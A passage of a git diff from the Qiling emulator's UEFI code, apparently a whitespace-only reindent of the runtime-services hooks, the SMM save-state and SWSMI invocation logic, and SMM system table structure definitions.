- 'struct' : EFI_RUNTIME_SERVICES, - 'fields' : ( - ('Hdr', None), - ('GetTime', hook_GetTime), - ('SetTime', hook_SetTime), - ('GetWakeupTime', hook_GetWakeupTime), - ('SetWakeupTime', hook_SetWakeupTime), - ('SetVirtualAddressMap', hook_SetVirtualAddressMap), - ('ConvertPointer', hook_ConvertPointer), - ('GetVariable', hook_GetVariable), - ('GetNextVariableName', hook_GetNextVariableName), - ('SetVariable', hook_SetVariable), - ('GetNextHighMonotonicCount', hook_GetNextHighMonotonicCount), - ('ResetSystem', hook_ResetSystem), - ('UpdateCapsule', hook_UpdateCapsule), - ('QueryCapsuleCapabilities', hook_QueryCapsuleCapabilities), - ('QueryVariableInfo', hook_QueryVariableInfo) - ) - } - - instance = init_struct(ql, gRT, descriptor) - instance.saveTo(ql, gRT) + descriptor = { + 'struct' : EFI_RUNTIME_SERVICES, + 'fields' : ( + ('Hdr', None), + ('GetTime', hook_GetTime), + ('SetTime', hook_SetTime), + ('GetWakeupTime', hook_GetWakeupTime), + ('SetWakeupTime', hook_SetWakeupTime), + ('SetVirtualAddressMap', hook_SetVirtualAddressMap), + ('ConvertPointer', hook_ConvertPointer), + ('GetVariable', hook_GetVariable), + ('GetNextVariableName', hook_GetNextVariableName), + ('SetVariable', hook_SetVariable), + ('GetNextHighMonotonicCount', hook_GetNextHighMonotonicCount), + ('ResetSystem', hook_ResetSystem), + ('UpdateCapsule', hook_UpdateCapsule), + ('QueryCapsuleCapabilities', hook_QueryCapsuleCapabilities), + ('QueryVariableInfo', hook_QueryVariableInfo) + ) + } + + instance = init_struct(ql, gRT, descriptor) + instance.saveTo(ql, gRT) __all__ = [ - 'initialize' + 'initialize' ] \ No newline at end of file diff --git a/qiling/os/uefi/smm.py b/qiling/os/uefi/smm.py index 15e80e485..2e0ff61a2 100644 --- a/qiling/os/uefi/smm.py +++ b/qiling/os/uefi/smm.py @@ -14,257 +14,257 @@ from qiling.os.uefi.protocols.EfiSmmSwDispatch2Protocol import EFI_SMM_SW_REGISTER_CONTEXT, EFI_SMM_SW_CONTEXT class SaveStateArea: - # SSA map for x64; note that it does not include all register enumerated in - # EFI_SMM_SAVE_STATE_REGISTER, but only the most commonly used ones - # - # see: Intel SDM vol. 3 chapter 30.4.1.1 - offsets = { - EFI_SMM_SAVE_STATE_REGISTER.GDTBASE : 0x7E8C, - EFI_SMM_SAVE_STATE_REGISTER.IDTBASE : 0x7E94, - EFI_SMM_SAVE_STATE_REGISTER.LDTBASE : 0x7E9C, - EFI_SMM_SAVE_STATE_REGISTER.GDTLIMIT: 0x7DD0, - EFI_SMM_SAVE_STATE_REGISTER.IDTLIMIT: 0x7DD8, - EFI_SMM_SAVE_STATE_REGISTER.LDTLIMIT: 0x7DD4, - # EFI_SMM_SAVE_STATE_REGISTER.LDTINFO : ?, - - EFI_SMM_SAVE_STATE_REGISTER.ES : 0x7FA8, - EFI_SMM_SAVE_STATE_REGISTER.CS : 0x7FAC, - EFI_SMM_SAVE_STATE_REGISTER.SS : 0x7FB0, - EFI_SMM_SAVE_STATE_REGISTER.DS : 0x7FB4, - EFI_SMM_SAVE_STATE_REGISTER.FS : 0x7FB8, - EFI_SMM_SAVE_STATE_REGISTER.GS : 0x7FBC, - EFI_SMM_SAVE_STATE_REGISTER.LDTR_SEL: 0x7FC0, - EFI_SMM_SAVE_STATE_REGISTER.TR_SEL : 0x7FC4, - EFI_SMM_SAVE_STATE_REGISTER.DR7 : 0x7FC8, - EFI_SMM_SAVE_STATE_REGISTER.DR6 : 0x7FD0, - EFI_SMM_SAVE_STATE_REGISTER.R8 : 0x7F54, - EFI_SMM_SAVE_STATE_REGISTER.R9 : 0x7F4C, - EFI_SMM_SAVE_STATE_REGISTER.R10 : 0x7F44, - EFI_SMM_SAVE_STATE_REGISTER.R11 : 0x7F3C, - EFI_SMM_SAVE_STATE_REGISTER.R12 : 0x7F34, - EFI_SMM_SAVE_STATE_REGISTER.R13 : 0x7F2C, - EFI_SMM_SAVE_STATE_REGISTER.R14 : 0x7F24, - EFI_SMM_SAVE_STATE_REGISTER.R15 : 0x7F1C, - EFI_SMM_SAVE_STATE_REGISTER.RAX : 0x7F5C, - EFI_SMM_SAVE_STATE_REGISTER.RBX : 0x7F74, - EFI_SMM_SAVE_STATE_REGISTER.RCX : 0x7F64, - EFI_SMM_SAVE_STATE_REGISTER.RDX : 0x7F6C, - EFI_SMM_SAVE_STATE_REGISTER.RSP : 0x7F7C, - EFI_SMM_SAVE_STATE_REGISTER.RBP : 0x7F84, - EFI_SMM_SAVE_STATE_REGISTER.RSI : 0x7F8C, - EFI_SMM_SAVE_STATE_REGISTER.RDI : 0x7F94, - EFI_SMM_SAVE_STATE_REGISTER.RIP : 0x7FD8, - - EFI_SMM_SAVE_STATE_REGISTER.RFLAGS : 0x7FE8, - EFI_SMM_SAVE_STATE_REGISTER.CR0 : 0x7FF8, - EFI_SMM_SAVE_STATE_REGISTER.CR3 : 0x7FF0, - EFI_SMM_SAVE_STATE_REGISTER.CR4 : 0x7E40 - } - - def __init__(self, ql: Qiling): - self.ql = ql - - self.ssa_base = ql.loader.smm_context.smram_base + 0x8000 - self.ssa_size = 0x8000 - - # map smram save state area, but do not make it available just yet - if ql.mem.is_available(self.ssa_base, self.ssa_size): - ql.mem.map(self.ssa_base, self.ssa_size, UC_PROT_NONE, '[SMRAM SSA]') - - def read(self, regidx: EFI_SMM_SAVE_STATE_REGISTER, width: int) -> bytes: - """Retrieve a register value from SMM save state area. - """ - - reg = self.ssa_base + SaveStateArea.offsets[regidx] - - return self.ql.mem.read(reg, width) - - def write(self, regidx: EFI_SMM_SAVE_STATE_REGISTER, data: bytes) -> None: - """Replace a register value in SMM save state area. - """ - - reg = self.ssa_base + SaveStateArea.offsets[regidx] - - self.ql.mem.write(reg, data) + # SSA map for x64; note that it does not include all register enumerated in + # EFI_SMM_SAVE_STATE_REGISTER, but only the most commonly used ones + # + # see: Intel SDM vol. 3 chapter 30.4.1.1 + offsets = { + EFI_SMM_SAVE_STATE_REGISTER.GDTBASE : 0x7E8C, + EFI_SMM_SAVE_STATE_REGISTER.IDTBASE : 0x7E94, + EFI_SMM_SAVE_STATE_REGISTER.LDTBASE : 0x7E9C, + EFI_SMM_SAVE_STATE_REGISTER.GDTLIMIT: 0x7DD0, + EFI_SMM_SAVE_STATE_REGISTER.IDTLIMIT: 0x7DD8, + EFI_SMM_SAVE_STATE_REGISTER.LDTLIMIT: 0x7DD4, + # EFI_SMM_SAVE_STATE_REGISTER.LDTINFO : ?, + + EFI_SMM_SAVE_STATE_REGISTER.ES : 0x7FA8, + EFI_SMM_SAVE_STATE_REGISTER.CS : 0x7FAC, + EFI_SMM_SAVE_STATE_REGISTER.SS : 0x7FB0, + EFI_SMM_SAVE_STATE_REGISTER.DS : 0x7FB4, + EFI_SMM_SAVE_STATE_REGISTER.FS : 0x7FB8, + EFI_SMM_SAVE_STATE_REGISTER.GS : 0x7FBC, + EFI_SMM_SAVE_STATE_REGISTER.LDTR_SEL: 0x7FC0, + EFI_SMM_SAVE_STATE_REGISTER.TR_SEL : 0x7FC4, + EFI_SMM_SAVE_STATE_REGISTER.DR7 : 0x7FC8, + EFI_SMM_SAVE_STATE_REGISTER.DR6 : 0x7FD0, + EFI_SMM_SAVE_STATE_REGISTER.R8 : 0x7F54, + EFI_SMM_SAVE_STATE_REGISTER.R9 : 0x7F4C, + EFI_SMM_SAVE_STATE_REGISTER.R10 : 0x7F44, + EFI_SMM_SAVE_STATE_REGISTER.R11 : 0x7F3C, + EFI_SMM_SAVE_STATE_REGISTER.R12 : 0x7F34, + EFI_SMM_SAVE_STATE_REGISTER.R13 : 0x7F2C, + EFI_SMM_SAVE_STATE_REGISTER.R14 : 0x7F24, + EFI_SMM_SAVE_STATE_REGISTER.R15 : 0x7F1C, + EFI_SMM_SAVE_STATE_REGISTER.RAX : 0x7F5C, + EFI_SMM_SAVE_STATE_REGISTER.RBX : 0x7F74, + EFI_SMM_SAVE_STATE_REGISTER.RCX : 0x7F64, + EFI_SMM_SAVE_STATE_REGISTER.RDX : 0x7F6C, + EFI_SMM_SAVE_STATE_REGISTER.RSP : 0x7F7C, + EFI_SMM_SAVE_STATE_REGISTER.RBP : 0x7F84, + EFI_SMM_SAVE_STATE_REGISTER.RSI : 0x7F8C, + EFI_SMM_SAVE_STATE_REGISTER.RDI : 0x7F94, + EFI_SMM_SAVE_STATE_REGISTER.RIP : 0x7FD8, + + EFI_SMM_SAVE_STATE_REGISTER.RFLAGS : 0x7FE8, + EFI_SMM_SAVE_STATE_REGISTER.CR0 : 0x7FF8, + EFI_SMM_SAVE_STATE_REGISTER.CR3 : 0x7FF0, + EFI_SMM_SAVE_STATE_REGISTER.CR4 : 0x7E40 + } + + def __init__(self, ql: Qiling): + self.ql = ql + + self.ssa_base = ql.loader.smm_context.smram_base + 0x8000 + self.ssa_size = 0x8000 + + # map smram save state area, but do not make it available just yet + if ql.mem.is_available(self.ssa_base, self.ssa_size): + ql.mem.map(self.ssa_base, self.ssa_size, UC_PROT_NONE, '[SMRAM SSA]') + + def read(self, regidx: EFI_SMM_SAVE_STATE_REGISTER, width: int) -> bytes: + """Retrieve a register value from SMM save state area. + """ + + reg = self.ssa_base + SaveStateArea.offsets[regidx] + + return self.ql.mem.read(reg, width) + + def write(self, regidx: EFI_SMM_SAVE_STATE_REGISTER, data: bytes) -> None: + """Replace a register value in SMM save state area. + """ + + reg = self.ssa_base + SaveStateArea.offsets[regidx] + + self.ql.mem.write(reg, data) class SmmEnv: - SSA_REG_MAP = { - UC_X86_REG_ES : (4, EFI_SMM_SAVE_STATE_REGISTER.ES), - UC_X86_REG_CS : (4, EFI_SMM_SAVE_STATE_REGISTER.CS), - UC_X86_REG_SS : (4, EFI_SMM_SAVE_STATE_REGISTER.SS), - UC_X86_REG_DS : (4, EFI_SMM_SAVE_STATE_REGISTER.DS), - UC_X86_REG_FS : (4, EFI_SMM_SAVE_STATE_REGISTER.FS), - UC_X86_REG_GS : (4, EFI_SMM_SAVE_STATE_REGISTER.GS), - UC_X86_REG_R8 : (8, EFI_SMM_SAVE_STATE_REGISTER.R8), - UC_X86_REG_R9 : (8, EFI_SMM_SAVE_STATE_REGISTER.R9), - UC_X86_REG_R10 : (8, EFI_SMM_SAVE_STATE_REGISTER.R10), - UC_X86_REG_R11 : (8, EFI_SMM_SAVE_STATE_REGISTER.R11), - UC_X86_REG_R12 : (8, EFI_SMM_SAVE_STATE_REGISTER.R12), - UC_X86_REG_R13 : (8, EFI_SMM_SAVE_STATE_REGISTER.R13), - UC_X86_REG_R14 : (8, EFI_SMM_SAVE_STATE_REGISTER.R14), - UC_X86_REG_R15 : (8, EFI_SMM_SAVE_STATE_REGISTER.R15), - UC_X86_REG_RAX : (8, EFI_SMM_SAVE_STATE_REGISTER.RAX), - UC_X86_REG_RBX : (8, EFI_SMM_SAVE_STATE_REGISTER.RBX), - UC_X86_REG_RCX : (8, EFI_SMM_SAVE_STATE_REGISTER.RCX), - UC_X86_REG_RDX : (8, EFI_SMM_SAVE_STATE_REGISTER.RDX), - UC_X86_REG_RSP : (8, EFI_SMM_SAVE_STATE_REGISTER.RSP), - UC_X86_REG_RBP : (8, EFI_SMM_SAVE_STATE_REGISTER.RBP), - UC_X86_REG_RSI : (8, EFI_SMM_SAVE_STATE_REGISTER.RSI), - UC_X86_REG_RDI : (8, EFI_SMM_SAVE_STATE_REGISTER.RDI), - UC_X86_REG_RIP : (8, EFI_SMM_SAVE_STATE_REGISTER.RIP), - UC_X86_REG_EFLAGS : (8, EFI_SMM_SAVE_STATE_REGISTER.RFLAGS), - UC_X86_REG_CR0 : (8, EFI_SMM_SAVE_STATE_REGISTER.CR0), - UC_X86_REG_CR3 : (8, EFI_SMM_SAVE_STATE_REGISTER.CR3), - UC_X86_REG_CR4 : (8, EFI_SMM_SAVE_STATE_REGISTER.CR4) - } - - def __init__(self, ql: Qiling): - self.ql = ql - self.ssa = SaveStateArea(ql) - - # by default the system is out of smm - self.active = False - - def __mapped_smram_ranges(self) -> Iterator[Tuple[int, int]]: - """Iterate through all mapped ranges enclosed within SMRAM. - """ - - context: SmmContext = self.ql.loader.smm_context - - smram_lbound = context.smram_base - smram_ubound = smram_lbound + context.smram_size - - for lbound, ubound, *_ in self.ql.mem.get_mapinfo(): - if (smram_lbound <= lbound) and (ubound <= smram_ubound): - yield lbound, ubound - - def enter(self) -> None: - """Enter SMM. - - Save CPU state and unlock SMM resources. - """ - - self.ql.log.info(f'Entering SMM') - - assert not self.active, 'SMM is not reentrant' - - # unlock smram ranges for access - for lbound, ubound in self.__mapped_smram_ranges(): - self.ql.mem.protect(lbound, ubound - lbound, UC_PROT_ALL) - - # write cpu state to ssa (partially) - # that can take place only after smram ranges have been unlocked - for ucreg, (width, regidx) in SmmEnv.SSA_REG_MAP.items(): - val = self.ql.arch.regs.read(ucreg) - - pack = { - 8 : self.ql.pack64, - 4 : self.ql.pack32, - 2 : self.ql.pack16, - 1 : self.ql.pack8 - }[width] - - self.ssa.write(regidx, pack(val)) - - # let os know that the code is now executing in smm - self.active = True - - def leave(self) -> None: - """Leave SMM. - - Restore CPU state and lock SMM resources. - """ - - self.ql.log.info(f'Leaving SMM') - - # restore cpu state from ssa (partially) - # that can take place only before smram ranges have been locked - for ucreg, (width, regidx) in SmmEnv.SSA_REG_MAP.items(): - data = self.ssa.read(regidx, width) - - unpack = { - 8 : self.ql.unpack64, - 4 : self.ql.unpack32, - 2 : self.ql.unpack16, - 1 : self.ql.unpack8 - }[width] - - self.ql.arch.regs.write(ucreg, unpack(data)) - - # lock smram ranges for access - for lbound, ubound in self.__mapped_smram_ranges(): - self.ql.mem.protect(lbound, ubound - lbound, UC_PROT_NONE) - - # let os know that the code is no longer executing in smm - self.active = False - - def invoke_swsmi(self, cpu: int, idx: int, entry: int, args: Mapping[str, Any], *, onexit: Callable[[Qiling], None] = None) -> None: - """Invoke a native SWSMI handler. - - Args: - cpu: initiating logical processor index - idx: swsmi index - entry: swsmi handler entry point - args: data arguments collected on handler registration - onexit: optionally specify a method to call on handler exit - """ + SSA_REG_MAP = { + UC_X86_REG_ES : (4, EFI_SMM_SAVE_STATE_REGISTER.ES), + UC_X86_REG_CS : (4, EFI_SMM_SAVE_STATE_REGISTER.CS), + UC_X86_REG_SS : (4, EFI_SMM_SAVE_STATE_REGISTER.SS), + UC_X86_REG_DS : (4, EFI_SMM_SAVE_STATE_REGISTER.DS), + UC_X86_REG_FS : (4, EFI_SMM_SAVE_STATE_REGISTER.FS), + UC_X86_REG_GS : (4, EFI_SMM_SAVE_STATE_REGISTER.GS), + UC_X86_REG_R8 : (8, EFI_SMM_SAVE_STATE_REGISTER.R8), + UC_X86_REG_R9 : (8, EFI_SMM_SAVE_STATE_REGISTER.R9), + UC_X86_REG_R10 : (8, EFI_SMM_SAVE_STATE_REGISTER.R10), + UC_X86_REG_R11 : (8, EFI_SMM_SAVE_STATE_REGISTER.R11), + UC_X86_REG_R12 : (8, EFI_SMM_SAVE_STATE_REGISTER.R12), + UC_X86_REG_R13 : (8, EFI_SMM_SAVE_STATE_REGISTER.R13), + UC_X86_REG_R14 : (8, EFI_SMM_SAVE_STATE_REGISTER.R14), + UC_X86_REG_R15 : (8, EFI_SMM_SAVE_STATE_REGISTER.R15), + UC_X86_REG_RAX : (8, EFI_SMM_SAVE_STATE_REGISTER.RAX), + UC_X86_REG_RBX : (8, EFI_SMM_SAVE_STATE_REGISTER.RBX), + UC_X86_REG_RCX : (8, EFI_SMM_SAVE_STATE_REGISTER.RCX), + UC_X86_REG_RDX : (8, EFI_SMM_SAVE_STATE_REGISTER.RDX), + UC_X86_REG_RSP : (8, EFI_SMM_SAVE_STATE_REGISTER.RSP), + UC_X86_REG_RBP : (8, EFI_SMM_SAVE_STATE_REGISTER.RBP), + UC_X86_REG_RSI : (8, EFI_SMM_SAVE_STATE_REGISTER.RSI), + UC_X86_REG_RDI : (8, EFI_SMM_SAVE_STATE_REGISTER.RDI), + UC_X86_REG_RIP : (8, EFI_SMM_SAVE_STATE_REGISTER.RIP), + UC_X86_REG_EFLAGS : (8, EFI_SMM_SAVE_STATE_REGISTER.RFLAGS), + UC_X86_REG_CR0 : (8, EFI_SMM_SAVE_STATE_REGISTER.CR0), + UC_X86_REG_CR3 : (8, EFI_SMM_SAVE_STATE_REGISTER.CR3), + UC_X86_REG_CR4 : (8, EFI_SMM_SAVE_STATE_REGISTER.CR4) + } + + def __init__(self, ql: Qiling): + self.ql = ql + self.ssa = SaveStateArea(ql) + + # by default the system is out of smm + self.active = False + + def __mapped_smram_ranges(self) -> Iterator[Tuple[int, int]]: + """Iterate through all mapped ranges enclosed within SMRAM. + """ + + context: SmmContext = self.ql.loader.smm_context + + smram_lbound = context.smram_base + smram_ubound = smram_lbound + context.smram_size + + for lbound, ubound, *_ in self.ql.mem.get_mapinfo(): + if (smram_lbound <= lbound) and (ubound <= smram_ubound): + yield lbound, ubound + + def enter(self) -> None: + """Enter SMM. + + Save CPU state and unlock SMM resources. + """ + + self.ql.log.info(f'Entering SMM') + + assert not self.active, 'SMM is not reentrant' + + # unlock smram ranges for access + for lbound, ubound in self.__mapped_smram_ranges(): + self.ql.mem.protect(lbound, ubound - lbound, UC_PROT_ALL) + + # write cpu state to ssa (partially) + # that can take place only after smram ranges have been unlocked + for ucreg, (width, regidx) in SmmEnv.SSA_REG_MAP.items(): + val = self.ql.arch.regs.read(ucreg) + + pack = { + 8 : self.ql.pack64, + 4 : self.ql.pack32, + 2 : self.ql.pack16, + 1 : self.ql.pack8 + }[width] + + self.ssa.write(regidx, pack(val)) + + # let os know that the code is now executing in smm + self.active = True + + def leave(self) -> None: + """Leave SMM. + + Restore CPU state and lock SMM resources. + """ + + self.ql.log.info(f'Leaving SMM') + + # restore cpu state from ssa (partially) + # that can take place only before smram ranges have been locked + for ucreg, (width, regidx) in SmmEnv.SSA_REG_MAP.items(): + data = self.ssa.read(regidx, width) + + unpack = { + 8 : self.ql.unpack64, + 4 : self.ql.unpack32, + 2 : self.ql.unpack16, + 1 : self.ql.unpack8 + }[width] + + self.ql.arch.regs.write(ucreg, unpack(data)) + + # lock smram ranges for access + for lbound, ubound in self.__mapped_smram_ranges(): + self.ql.mem.protect(lbound, ubound - lbound, UC_PROT_NONE) + + # let os know that the code is no longer executing in smm + self.active = False + + def invoke_swsmi(self, cpu: int, idx: int, entry: int, args: Mapping[str, Any], *, onexit: Callable[[Qiling], None] = None) -> None: + """Invoke a native SWSMI handler. + + Args: + cpu: initiating logical processor index + idx: swsmi index + entry: swsmi handler entry point + args: data arguments collected on handler registration + onexit: optionally specify a method to call on handler exit + """ - ql = self.ql - heap: QlMemoryHeap = self.ql.loader.smm_context.heap + ql = self.ql + heap: QlMemoryHeap = self.ql.loader.smm_context.heap - self.enter() + self.enter() - DispatchHandle = args['DispatchHandle'] - Context = heap.alloc(EFI_SMM_SW_REGISTER_CONTEXT.sizeof()) - CommBuffer = heap.alloc(EFI_SMM_SW_CONTEXT.sizeof()) - CommBufferSize = heap.alloc(ql.arch.pointersize) + DispatchHandle = args['DispatchHandle'] + Context = heap.alloc(EFI_SMM_SW_REGISTER_CONTEXT.sizeof()) + CommBuffer = heap.alloc(EFI_SMM_SW_CONTEXT.sizeof()) + CommBufferSize = heap.alloc(ql.arch.pointersize) - # setup Context - args['RegisterContext'].saveTo(ql, Context) + # setup Context + args['RegisterContext'].saveTo(ql, Context) - # setup CommBuffer - SmmSwContext = EFI_SMM_SW_CONTEXT() - SmmSwContext.SwSmiCpuIndex = cpu - SmmSwContext.CommandPort = idx - SmmSwContext.DataPort = 0 - SmmSwContext.saveTo(ql, CommBuffer) + # setup CommBuffer + SmmSwContext = EFI_SMM_SW_CONTEXT() + SmmSwContext.SwSmiCpuIndex = cpu + SmmSwContext.CommandPort = idx + SmmSwContext.DataPort = 0 + SmmSwContext.saveTo(ql, CommBuffer) - # setup CommBufferSize - utils.ptr_write64(ql, CommBufferSize, SmmSwContext.sizeof()) + # setup CommBufferSize + utils.ptr_write64(ql, CommBufferSize, SmmSwContext.sizeof()) - # clean up handler resources - def __cleanup(ql: Qiling): - ql.log.info(f'Leaving SWSMI handler {idx:#04x}') + # clean up handler resources + def __cleanup(ql: Qiling): + ql.log.info(f'Leaving SWSMI handler {idx:#04x}') - # unwind ms64 shadow space - ql.arch.regs.arch_sp += (4 * ql.arch.pointersize) + # unwind ms64 shadow space + ql.arch.regs.arch_sp += (4 * ql.arch.pointersize) - # release handler resources - heap.free(DispatchHandle) - heap.free(Context) - heap.free(CommBuffer) - heap.free(CommBufferSize) + # release handler resources + heap.free(DispatchHandle) + heap.free(Context) + heap.free(CommBuffer) + heap.free(CommBufferSize) - # release hook - heap.free(cleanup_trap) - hret.remove() - - self.leave() + # release hook + heap.free(cleanup_trap) + hret.remove() + + self.leave() - # if specified, call on-exit callback - if onexit: - onexit(ql) + # if specified, call on-exit callback + if onexit: + onexit(ql) - # hook returning from swsmi handler - cleanup_trap = heap.alloc(ql.arch.pointersize) - hret = ql.hook_address(__cleanup, cleanup_trap) + # hook returning from swsmi handler + cleanup_trap = heap.alloc(ql.arch.pointersize) + hret = ql.hook_address(__cleanup, cleanup_trap) - ql.log.info(f'Entering SWSMI handler {idx:#04x}') + ql.log.info(f'Entering SWSMI handler {idx:#04x}') - # invoke the swsmi handler - ql.os.fcall.call_native(entry, ( - (POINTER, DispatchHandle), - (POINTER, Context), - (POINTER, CommBuffer), - (POINTER, CommBufferSize) - ), cleanup_trap) + # invoke the swsmi handler + ql.os.fcall.call_native(entry, ( + (POINTER, DispatchHandle), + (POINTER, Context), + (POINTER, CommBuffer), + (POINTER, CommBufferSize) + ), cleanup_trap) diff --git a/qiling/os/uefi/smst.py b/qiling/os/uefi/smst.py index bdd40c0c1..ec78727a7 100644 --- a/qiling/os/uefi/smst.py +++ b/qiling/os/uefi/smst.py @@ -19,263 +19,263 @@ # @see: MdePkg\Include\Pi\PiSmmCis.h class EFI_MM_IO_WIDTH(ENUM): - _members_ = [ - 'MM_IO_UINT8', - 'MM_IO_UINT16', - 'MM_IO_UINT32', - 'MM_IO_UINT64' - ] + _members_ = [ + 'MM_IO_UINT8', + 'MM_IO_UINT16', + 'MM_IO_UINT32', + 'MM_IO_UINT64' + ] EFI_MM_HANDLER_ENTRY_POINT = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(VOID), PTR(VOID), PTR(UINTN)) EFI_MM_NOTIFY_FN = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(VOID), EFI_HANDLE) class EFI_MM_IO_ACCESS(STRUCT): - EFI_SMM_CPU_IO2_PROTOCOL = STRUCT + EFI_SMM_CPU_IO2_PROTOCOL = STRUCT - _fields_ = [ - ('Read', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_CPU_IO2_PROTOCOL), EFI_MM_IO_WIDTH, UINT64, UINTN, PTR(VOID))), - ('Write', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_CPU_IO2_PROTOCOL), EFI_MM_IO_WIDTH, UINT64, UINTN, PTR(VOID))), - ] + _fields_ = [ + ('Read', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_CPU_IO2_PROTOCOL), EFI_MM_IO_WIDTH, UINT64, UINTN, PTR(VOID))), + ('Write', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_CPU_IO2_PROTOCOL), EFI_MM_IO_WIDTH, UINT64, UINTN, PTR(VOID))), + ] class EFI_SMM_CPU_IO2_PROTOCOL(STRUCT): - _fields_ = [ - ('Mem', EFI_MM_IO_ACCESS), - ('Io', EFI_MM_IO_ACCESS) - ] + _fields_ = [ + ('Mem', EFI_MM_IO_ACCESS), + ('Io', EFI_MM_IO_ACCESS) + ] class EFI_SMM_SYSTEM_TABLE2(STRUCT): - EFI_SMM_SYSTEM_TABLE2 = STRUCT - _pack_ = 8 - - _fields_ = [ - ('Hdr', EFI_TABLE_HEADER), - ('SmmFirmwareVendor', PTR(CHAR16)), - ('SmmFirmwareRevision', UINT32), - ('SmmInstallConfigurationTable', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_SYSTEM_TABLE2), PTR(EFI_GUID), PTR(VOID), UINTN)), - ('SmmIo', EFI_SMM_CPU_IO2_PROTOCOL), - ('SmmAllocatePool', FUNCPTR(EFI_STATUS, EFI_MEMORY_TYPE, UINTN, PTR(PTR(VOID)))), - ('SmmFreePool', FUNCPTR(EFI_STATUS, PTR(VOID))), - ('SmmAllocatePages', FUNCPTR(EFI_STATUS, EFI_ALLOCATE_TYPE, EFI_MEMORY_TYPE, UINTN, PTR(EFI_PHYSICAL_ADDRESS))), - ('SmmFreePages', FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINTN)), - ('SmmStartupThisAp', FUNCPTR(EFI_STATUS, FUNCPTR(VOID, PTR(VOID)), UINTN, PTR(VOID))), - ('CurrentlyExecutingCpu', UINTN), - ('NumberOfCpus', UINTN), - ('CpuSaveStateSize', PTR(UINTN)), - ('CpuSaveState', PTR(PTR(VOID))), - ('NumberOfTableEntries', UINTN), - ('SmmConfigurationTable', PTR(EFI_CONFIGURATION_TABLE)), - ('SmmInstallProtocolInterface', FUNCPTR(EFI_STATUS, PTR(EFI_HANDLE), PTR(EFI_GUID), EFI_INTERFACE_TYPE, PTR(VOID))), - ('SmmUninstallProtocolInterface', FUNCPTR(EFI_STATUS, PTR(VOID), PTR(EFI_GUID), PTR(VOID))), - ('SmmHandleProtocol', FUNCPTR(EFI_STATUS, PTR(VOID), PTR(EFI_GUID), PTR(PTR(VOID)))), - ('SmmRegisterProtocolNotify', FUNCPTR(EFI_STATUS, PTR(EFI_GUID), EFI_MM_NOTIFY_FN, PTR(PTR(VOID)))), - ('SmmLocateHandle', FUNCPTR(EFI_STATUS, EFI_LOCATE_SEARCH_TYPE, PTR(EFI_GUID), PTR(VOID), PTR(UINTN), PTR(EFI_HANDLE))), - ('SmmLocateProtocol', FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(VOID), PTR(PTR(VOID)))), - ('SmiManage', FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(VOID), PTR(VOID), PTR(UINTN))), - ('SmiHandlerRegister', FUNCPTR(EFI_STATUS, EFI_MM_HANDLER_ENTRY_POINT, PTR(EFI_GUID), PTR(EFI_HANDLE))), - ('SmiHandlerUnRegister', FUNCPTR(EFI_STATUS, EFI_HANDLE)), - ] + EFI_SMM_SYSTEM_TABLE2 = STRUCT + _pack_ = 8 + + _fields_ = [ + ('Hdr', EFI_TABLE_HEADER), + ('SmmFirmwareVendor', PTR(CHAR16)), + ('SmmFirmwareRevision', UINT32), + ('SmmInstallConfigurationTable', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_SYSTEM_TABLE2), PTR(EFI_GUID), PTR(VOID), UINTN)), + ('SmmIo', EFI_SMM_CPU_IO2_PROTOCOL), + ('SmmAllocatePool', FUNCPTR(EFI_STATUS, EFI_MEMORY_TYPE, UINTN, PTR(PTR(VOID)))), + ('SmmFreePool', FUNCPTR(EFI_STATUS, PTR(VOID))), + ('SmmAllocatePages', FUNCPTR(EFI_STATUS, EFI_ALLOCATE_TYPE, EFI_MEMORY_TYPE, UINTN, PTR(EFI_PHYSICAL_ADDRESS))), + ('SmmFreePages', FUNCPTR(EFI_STATUS, EFI_PHYSICAL_ADDRESS, UINTN)), + ('SmmStartupThisAp', FUNCPTR(EFI_STATUS, FUNCPTR(VOID, PTR(VOID)), UINTN, PTR(VOID))), + ('CurrentlyExecutingCpu', UINTN), + ('NumberOfCpus', UINTN), + ('CpuSaveStateSize', PTR(UINTN)), + ('CpuSaveState', PTR(PTR(VOID))), + ('NumberOfTableEntries', UINTN), + ('SmmConfigurationTable', PTR(EFI_CONFIGURATION_TABLE)), + ('SmmInstallProtocolInterface', FUNCPTR(EFI_STATUS, PTR(EFI_HANDLE), PTR(EFI_GUID), EFI_INTERFACE_TYPE, PTR(VOID))), + ('SmmUninstallProtocolInterface', FUNCPTR(EFI_STATUS, PTR(VOID), PTR(EFI_GUID), PTR(VOID))), + ('SmmHandleProtocol', FUNCPTR(EFI_STATUS, PTR(VOID), PTR(EFI_GUID), PTR(PTR(VOID)))), + ('SmmRegisterProtocolNotify', FUNCPTR(EFI_STATUS, PTR(EFI_GUID), EFI_MM_NOTIFY_FN, PTR(PTR(VOID)))), + ('SmmLocateHandle', FUNCPTR(EFI_STATUS, EFI_LOCATE_SEARCH_TYPE, PTR(EFI_GUID), PTR(VOID), PTR(UINTN), PTR(EFI_HANDLE))), + ('SmmLocateProtocol', FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(VOID), PTR(PTR(VOID)))), + ('SmiManage', FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(VOID), PTR(VOID), PTR(UINTN))), + ('SmiHandlerRegister', FUNCPTR(EFI_STATUS, EFI_MM_HANDLER_ENTRY_POINT, PTR(EFI_GUID), PTR(EFI_HANDLE))), + ('SmiHandlerUnRegister', FUNCPTR(EFI_STATUS, EFI_HANDLE)), + ] @dxeapi(params = { - "Guid" : GUID, # PTR(EFI_GUID) - "Table" : POINTER # PTR(VOID) + "Guid" : GUID, # PTR(EFI_GUID) + "Table" : POINTER # PTR(VOID) }) def hook_SmmInstallConfigurationTable(ql: Qiling, address: int, params): - return common.InstallConfigurationTable(ql.loader.smm_context, params) + return common.InstallConfigurationTable(ql.loader.smm_context, params) @dxeapi(params = { - "type" : INT, # EFI_ALLOCATE_TYPE - "MemoryType": INT, # EFI_MEMORY_TYPE - "Pages" : ULONGLONG, # UINTN - "Memory" : POINTER # 